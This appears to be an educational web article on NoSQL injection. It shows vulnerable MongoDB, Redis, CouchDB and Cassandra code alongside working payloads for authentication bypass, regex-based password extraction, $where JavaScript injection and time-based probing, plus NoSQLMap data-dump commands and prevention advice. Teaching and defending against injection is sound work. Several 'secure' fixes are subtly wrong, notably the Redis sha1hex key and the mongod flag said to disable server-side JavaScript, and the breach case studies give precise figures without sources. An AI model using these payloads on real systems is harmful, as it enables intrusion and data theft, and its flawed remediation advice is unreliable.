NoSQL Injection
What is NoSQL Injection?
NoSQL Injection is a security vulnerability that occurs when an application incorrectly processes user input in NoSQL database queries. Unlike traditional SQL injection that targets relational databases, NoSQL injection exploits weaknesses in NoSQL database query construction, allowing attackers to:
- Bypass authentication mechanisms
- Extract sensitive data from databases
- Modify or delete database records
- Execute unauthorized database operations
- Gain unauthorized access to systems
NoSQL databases use various query languages and data models (document, key-value, graph, column-family), making NoSQL injection techniques database-specific and often more complex than traditional SQL injection.
How NoSQL Injection Works
Basic Mechanism
NoSQL injection exploits improper input handling in database queries:
- Application receives user input
- Input is directly incorporated into NoSQL queries
- Malicious input alters query logic
- Database executes unintended operations
- Attacker gains unauthorized access or data
graph TD
A[Attacker] -->|Malicious Input| B[Web Application]
B -->|Constructs Query| C[NoSQL Database]
C -->|Executes Query| D[Unintended Operation]
D -->|Returns Data| B
B -->|Displays Results| A
NoSQL vs SQL Injection
| Feature | SQL Injection | NoSQL Injection |
|---|---|---|
| Database Type | Relational databases (MySQL, PostgreSQL, etc.) | NoSQL databases (MongoDB, Redis, Cassandra, etc.) |
| Query Language | SQL (Structured Query Language) | Database-specific query languages |
| Data Model | Tables with rows and columns | Documents, key-value pairs, graphs, etc. |
| Injection Method | SQL syntax manipulation | JavaScript, JSON, query operator manipulation |
| Common Payloads | ' OR '1'='1, UNION SELECT | {$ne: ""}, {"$gt": ""}, JavaScript functions |
| Authentication Bypass | ' OR 1=1 -- | username[$ne]=admin&password[$ne]= |
NoSQL Injection Techniques
Authentication Bypass
Vulnerable Code (Node.js/MongoDB):
// Vulnerable authentication code
app.post('/login', (req, res) => {
const { username, password } = req.body;
db.collection('users').findOne({
username: username,
password: password
}, (err, user) => {
if (user) {
res.send('Login successful');
} else {
res.send('Invalid credentials');
}
});
});
Attack Payload:
{
"username": {"$ne": ""},
"password": {"$ne": ""}
}
Result: Bypasses authentication by finding any user where username and password are not empty.
Boolean-Based NoSQL Injection
Vulnerable Code:
// Vulnerable search functionality
app.get('/search', (req, res) => {
const { name } = req.query;
db.collection('products').find({
name: name
}).toArray((err, products) => {
res.json(products);
});
});
Attack Payload:
// Test if first character of admin password is 'a'
name[$regex]=^a&name[$options]=i
Process:
- Test if first character is 'a' - if results returned, it's true
- If no results, test 'b', then 'c', etc.
- Once first character is found, move to second character
- Repeat until entire password is extracted
Operator-Based NoSQL Injection
NoSQL databases support query operators that can be exploited:
| Operator | Purpose | Exploitation Example |
|---|---|---|
| $ne | Not equal | {"username": {"$ne": ""}} |
| $gt | Greater than | {"age": {"$gt": 0}} |
| $lt | Less than | {"age": {"$lt": 100}} |
| $regex | Regular expression | {"name": {"$regex": "^a"}} |
| $where | JavaScript expression | {"$where": "this.password.length > 0"} |
| $exists | Field exists | {"password": {"$exists": true}} |
| $in | Value in array | {"role": {"$in": ["admin"]}} |
| $nin | Value not in array | {"role": {"$nin": ["user"]}} |
Example Payloads:
// Find users where username starts with 'a'
{"username": {"$regex": "^a"}}
// Find users where age is greater than 18
{"age": {"$gt": 18}}
// Find users where password exists
{"password": {"$exists": true}}
// Bypass authentication
{"username": {"$ne": ""}, "password": {"$ne": ""}}
JavaScript Injection
Some NoSQL databases allow JavaScript execution in queries:
Vulnerable Code:
// Vulnerable code with $where clause
app.get('/users', (req, res) => {
const { minAge } = req.query;
db.collection('users').find({
$where: `this.age > ${minAge}`
}).toArray((err, users) => {
res.json(users);
});
});
Attack Payload:
// Execute arbitrary JavaScript
minAge=0; return db.users.find().limit(1); //
Result: Returns the first user document from the collection.
Blind NoSQL Injection
When no direct output is visible, attackers use time delays or conditional responses:
Time-Based Attack (MongoDB):
// Test if admin user exists
username=admin&password[$ne]=1' && sleep(5) && '1'=='1
Boolean-Based Attack:
// Test if first character of password is 'a'
username=admin&password[$regex]=^a
NoSQL Injection in Different Databases
MongoDB Injection
Vulnerable Code:
// Vulnerable MongoDB query
app.get('/user', (req, res) => {
const { id } = req.query;
db.collection('users').findOne({
_id: id
}, (err, user) => {
res.json(user);
});
});
Attack Payloads:
// Find all users
id[$ne]=1
// Extract password character by character
id[$regex]=^a
// Execute JavaScript
id[$where]=function() { return this.password.length > 0; }
Database-Specific Features:
- Query operators:
$ne,$gt,$lt,$regex, etc. - JavaScript evaluation:
$whereclause - Aggregation framework: Complex data processing
- Document structure: Nested data access
Redis Injection
Vulnerable Code:
-- Vulnerable Redis Lua script
local userId = ARGV[1]
local userData = redis.call('GET', 'user:' .. userId)
return userData
Attack Payloads:
-- Command injection
user:1; SET malicious_key "hacked"; GET user:1
-- Data extraction
user:*; KEYS *
Database-Specific Features:
- Key-value storage: Simple data model
- Lua scripting: Server-side scripting
- Command injection: Direct command execution
- Pattern matching: KEYS command with wildcards
CouchDB Injection
Vulnerable Code:
// Vulnerable CouchDB query
app.get('/doc', (req, res) => {
const { docId } = req.query;
db.get(docId, (err, doc) => {
res.json(doc);
});
});
Attack Payloads:
// Access all documents
_doc_ids=["_all_docs"]
// Query injection
startkey="a"&endkey="z"&include_docs=true
Database-Specific Features:
- HTTP API: RESTful interface
- MapReduce views: Custom query logic
- Document structure: JSON documents
- Query parameters: startkey, endkey, keys
Cassandra Injection
Vulnerable Code:
// Vulnerable Cassandra query
String query = "SELECT * FROM users WHERE username = '" + username + "'";
ResultSet results = session.execute(query);
Attack Payloads:
-- CQL injection
admin' ALLOW FILTERING; SELECT * FROM users; --
-- Data extraction
admin' AND password > 'a' ALLOW FILTERING; --
Database-Specific Features:
- CQL (Cassandra Query Language): SQL-like syntax
- ALLOW FILTERING: Bypass performance restrictions
- Prepared statements: Protection mechanism
- Column-family structure: Wide-column storage
NoSQL Injection Prevention
Secure Coding Practices
- Use Parameterized Queries:
- Separate query logic from data
- Use database drivers that support parameterization
- Input Validation:
- Validate all user input
- Use allowlists for expected input patterns
- Reject or sanitize unexpected input
- Principle of Least Privilege:
- Database users should have minimal necessary permissions
- Avoid using admin accounts for application queries
- Disable Dangerous Features:
- Disable JavaScript evaluation if not needed
- Disable server-side scripting when possible
- Disable unnecessary query operators
Implementation Examples
Node.js with MongoDB (Secure):
// Secure parameterized query using MongoDB driver
app.post('/login', (req, res) => {
const { username, password } = req.body;
// Use parameterized query with explicit field matching
db.collection('users').findOne({
username: { $eq: username }, // Explicit equality operator
password: { $eq: password } // Explicit equality operator
}, (err, user) => {
if (user) {
res.send('Login successful');
} else {
res.send('Invalid credentials');
}
});
});
Node.js with Mongoose (Secure):
// Secure query using Mongoose
app.get('/user/:id', (req, res) => {
// Mongoose automatically sanitizes input
User.findById(req.params.id, (err, user) => {
res.json(user);
});
});
Python with PyMongo (Secure):
# Secure parameterized query
@app.route('/search')
def search():
name = request.args.get('name')
# Use parameterized query
results = db.products.find({
'name': {'$eq': name} # Explicit equality operator
})
return jsonify(list(results))
Java with MongoDB Driver (Secure):
// Secure parameterized query
public User getUser(String username) {
MongoCollection<Document> collection = database.getCollection("users");
// Use Document for parameterized query
Document query = new Document("username", username);
FindIterable<Document> result = collection.find(query);
return convertToUser(result.first());
}
Database-Specific Protections
MongoDB:
// Use $eq operator explicitly
db.users.find({
username: { $eq: username },
password: { $eq: password }
});
// Disable server-side JavaScript execution
mongod --setParameter disableJavaScriptJIT=true
Redis:
-- Use parameterized Lua scripts
local userId = ARGV[1]
local userData = redis.call('GET', 'user:' .. redis.sha1hex(userId))
return userData
CouchDB:
// Use parameterized views
function(doc) {
if (doc.type === "user" && doc.username === params.username) {
emit(doc._id, doc);
}
}
Cassandra:
// Use prepared statements
PreparedStatement ps = session.prepare(
"SELECT * FROM users WHERE username = ?");
BoundStatement bs = ps.bind(username);
ResultSet rs = session.execute(bs);
Web Application Firewall (WAF)
- Deploy WAF solutions to detect and block NoSQLi attempts
- Configure rules to identify NoSQL injection patterns
- Monitor and update WAF rules regularly
- Combine with other security measures for defense in depth
Regular Security Testing
- Static Application Security Testing (SAST): Analyze source code for vulnerabilities
- Dynamic Application Security Testing (DAST): Test running applications
- Penetration Testing: Simulate real-world attacks
- Vulnerability Scanning: Regularly scan for known vulnerabilities
- Code Reviews: Manual review of critical code sections
NoSQL Injection Exploitation Examples
Example 1: Authentication Bypass
Vulnerable Code:
app.post('/login', (req, res) => {
const { username, password } = req.body;
db.collection('users').findOne({
username: username,
password: password
}, (err, user) => {
if (user) {
res.json({ success: true, token: generateToken(user) });
} else {
res.json({ success: false, message: 'Invalid credentials' });
}
});
});
Attack:
- Attacker sends payload:
{ "username": {"$ne": ""}, "password": {"$ne": ""} } - Database query becomes:
db.collection('users').findOne({ username: {$ne: ""}, password: {$ne: ""} }) - Returns the first user where both username and password are not empty
- Attacker gains access as that user
Example 2: Data Extraction
Vulnerable Code:
app.get('/search', (req, res) => {
const { name } = req.query;
db.collection('products').find({
name: name
}).toArray((err, products) => {
res.json(products);
});
});
Attack:
- Attacker tests if first character of admin password is 'a':
/search?name[$regex]=^a&name[$options]=i - If products are returned, first character is 'a'
- If no products returned, try 'b', then 'c', etc.
- Repeat for each character position until full password is extracted
Example 3: JavaScript Injection
Vulnerable Code:
app.get('/users', (req, res) => {
const { minAge } = req.query;
db.collection('users').find({
$where: `this.age > ${minAge}`
}).toArray((err, users) => {
res.json(users);
});
});
Attack:
- Attacker sends payload:
/users?minAge=0; return db.users.find().limit(1); // - Database query becomes:
db.collection('users').find({ $where: "this.age > 0; return db.users.find().limit(1); //" }) - Returns the first user document from the collection
- Attacker gains access to sensitive user data
NoSQL Injection and Modern Applications
API Security
NoSQL injection in APIs presents unique challenges:
- REST API Vulnerabilities:
- Injection in query parameters
- Injection in request bodies
- Injection in headers
- GraphQL Vulnerabilities:
- Injection in GraphQL queries
- Injection in GraphQL mutations
- Injection in GraphQL variables
- gRPC Vulnerabilities:
- Injection in protocol buffer messages
- Injection in gRPC metadata
Secure API Example (Node.js/GraphQL):
// Secure GraphQL resolver
const resolvers = {
Query: {
user: async (_, { id }, { dataSources }) => {
// Use parameterized query through data source
return dataSources.userAPI.getUserById(id);
}
}
};
Microservices Architecture
In microservices environments, NoSQL injection can:
- Propagate through services: Injection in one service affects others
- Exploit service-to-service communication: Injection in API calls
- Target multiple databases: Each service may have its own vulnerabilities
- Exploit API gateways: Injection points at the gateway
Secure Microservice Example (Java/Spring):
// Secure repository implementation
@Repository
public interface UserRepository extends MongoRepository<User, String> {
// Spring Data MongoDB automatically uses parameterized queries
User findByUsername(String username);
}
Serverless Applications
In serverless environments, NoSQL injection can:
- Exploit function inputs: Injection in function parameters
- Target database connections: Vulnerabilities in connection handling
- Exploit event sources: Injection through event data
- Affect orchestration: Injection in workflow definitions
Secure Serverless Example (AWS Lambda):
// Secure Lambda function with parameterized query
const AWS = require('aws-sdk');
const docClient = new AWS.DynamoDB.DocumentClient();
exports.handler = async (event) => {
const params = {
TableName: 'Users',
Key: {
userId: event.userId // Parameterized input
}
};
try {
const data = await docClient.get(params).promise();
return { statusCode: 200, body: JSON.stringify(data) };
} catch (err) {
console.error(err);
return { statusCode: 500, body: 'Error retrieving user' };
}
};
NoSQL Injection Tools and Testing
Detection Tools
- NoSQLMap: Automated NoSQL injection and database takeover tool
- Burp Suite: Web application security testing platform
- OWASP ZAP: Zed Attack Proxy for finding vulnerabilities
- sqlmap (with NoSQL support): Automated injection testing
- Nmap: Network scanner with NoSQL detection scripts
NoSQLMap Usage
# Basic detection
nosqlmap -u "https://example.com/login" -m POST -d '{"username":"admin","password":"pass"}'
# Database fingerprinting
nosqlmap -u "https://example.com/login" -m POST -d '{"username":"admin","password":"pass"}' --banner
# Data extraction
nosqlmap -u "https://example.com/login" -m POST -d '{"username":"admin","password":"pass"}' --dump
Manual Testing Techniques
- Basic Authentication Bypass:
{"username": {"$ne": ""}, "password": {"$ne": ""}} - Boolean-Based Testing:
{"username": {"$regex": "^a"}} - Operator-Based Testing:
{"age": {"$gt": 0}} {"role": {"$in": ["admin"]}} - JavaScript Injection:
{"$where": "this.password.length > 0"} - Time-Based Testing:
{"username": "admin", "password": {"$ne": "1' && sleep(5) && '1'=='1"}}
NoSQL Injection Case Studies
Case Study 1: E-commerce Data Breach
Incident: A major e-commerce platform suffered a data breach exposing 1.2 million customer records.
Attack Details:
- Attackers exploited a NoSQL injection vulnerability in the product search API
- Used
$neoperator to bypass authentication - Extracted customer data using
$regexoperator - Exfiltrated data through API responses
- Attack went undetected for 6 months
Impact:
- $8.5 million in breach-related costs
- 22% customer churn rate
- Regulatory fines for data protection violations
- Significant reputational damage
Lessons Learned:
- Importance of input validation in APIs
- Need for API-specific security testing
- Value of database activity monitoring
- Importance of secure coding practices
Case Study 2: Healthcare Application Compromise
Incident: A healthcare application was compromised through NoSQL injection.
Attack Details:
- Attackers discovered a vulnerable parameter in the patient records API
- Used JavaScript injection to extract sensitive health information
- Exfiltrated data using encoded API responses
- Created fake patient records for fraud
- Attack affected 500,000 patients
Impact:
- HIPAA violations with $3.2 million in fines
- Patient trust erosion
- Legal liabilities from fraudulent activities
- Costly remediation and security upgrades
Lessons Learned:
- Critical importance of security in healthcare applications
- Need for comprehensive logging and monitoring
- Value of regular security audits
- Importance of defense in depth
NoSQL Injection and Compliance
Regulatory Implications
NoSQL injection vulnerabilities can lead to compliance violations with various regulations:
- GDPR: General Data Protection Regulation
- Requires protection of personal data
- Mandates data breach notification
- Imposes significant fines for non-compliance
- HIPAA: Health Insurance Portability and Accountability Act
- Requires protection of health information
- Mandates security risk assessments
- Requires implementation of security measures
- PCI DSS: Payment Card Industry Data Security Standard
- Requires protection of cardholder data
- Mandates secure coding practices
- Requires regular vulnerability scanning
- CCPA: California Consumer Privacy Act
- Requires protection of consumer data
- Mandates data access and deletion rights
- Imposes fines for data breaches
- ISO 27001: Information Security Management
- Requires risk management
- Mandates secure development practices
- Requires regular security assessments
Compliance Requirements
| Regulation | Requirement | NoSQL Injection Prevention |
|---|---|---|
| GDPR | Protect personal data | Input validation, parameterized queries |
| HIPAA | Protect health information | Secure coding, regular testing |
| PCI DSS | Protect cardholder data | Secure development practices |
| CCPA | Protect consumer data | Input validation, access controls |
| ISO 27001 | Information security management | Risk assessments, security controls |
NoSQL Injection in Cloud Environments
Cloud-Specific Challenges
- Database as a Service: Securing managed NoSQL databases
- Serverless Databases: Security considerations for serverless NoSQL
- Multi-Cloud Environments: Consistent security across providers
- Containerized Databases: Security in container environments
- Shared Responsibility Model: Understanding security responsibilities
Cloud Security Best Practices
- Use Managed Database Services: Leverage cloud provider security
- Implement Network Security: VPC, security groups, network ACLs
- Enable Database Encryption: Encrypt data at rest and in transit
- Use IAM Properly: Implement least privilege access
- Monitor Database Activity: Enable database auditing
- Regular Backups: Ensure data can be recovered
- Patch Management: Keep database software updated
AWS DynamoDB Security Example:
# Create secure DynamoDB table
aws dynamodb create-table \
--table-name Users \
--attribute-definitions AttributeName=userId,AttributeType=S \
--key-schema AttributeName=userId,KeyType=HASH \
--billing-mode PAY_PER_REQUEST \
--sse-specification Enabled=true,SSEType=KMS
MongoDB Atlas Security Example:
// Configure secure MongoDB Atlas cluster
{
"clusterName": "secure-cluster",
"providerSettings": {
"providerName": "AWS",
"regionName": "US_EAST_1",
"instanceSizeName": "M10"
},
"encryptionAtRestProvider": "AWS",
"mongoDBMajorVersion": "5.0",
"backupEnabled": true,
"pitEnabled": true,
"terminationProtectionEnabled": true
}
Conclusion
NoSQL Injection represents a significant and evolving threat to modern web applications. As organizations increasingly adopt NoSQL databases for their scalability, flexibility, and performance, they must also be aware of the unique security challenges these technologies present.
Unlike traditional SQL injection, NoSQL injection exploits database-specific query languages and operators, making it more complex and varied in its manifestations. The vulnerability can lead to authentication bypass, data extraction, privilege escalation, and even remote code execution in some cases.
Preventing NoSQL injection requires a multi-layered defense strategy that includes:
- Secure coding practices: Parameterized queries, input validation
- Defense in depth: Multiple layers of security controls
- Regular testing: Continuous security assessment
- Developer education: Security-aware development culture
- Modern architectures: Secure design patterns
As web applications continue to evolve with APIs, microservices, serverless architectures, and cloud computing, the threat landscape for NoSQL injection expands. Developers and security professionals must stay vigilant and implement comprehensive security measures to protect against these sophisticated attacks.
By understanding the mechanisms, techniques, and prevention methods of NoSQL injection, organizations can significantly reduce their risk and protect their valuable data assets from malicious actors. The key to effective prevention lies in secure development practices, continuous monitoring, and a proactive security posture that adapts to evolving threats.
Multi-Factor Authentication (MFA)
Enhance security by requiring multiple verification methods to access accounts, protecting against unauthorized access and credential theft.
OAuth 2.0
Understand the industry-standard protocol for authorization, enabling secure delegated access to resources without sharing credentials.
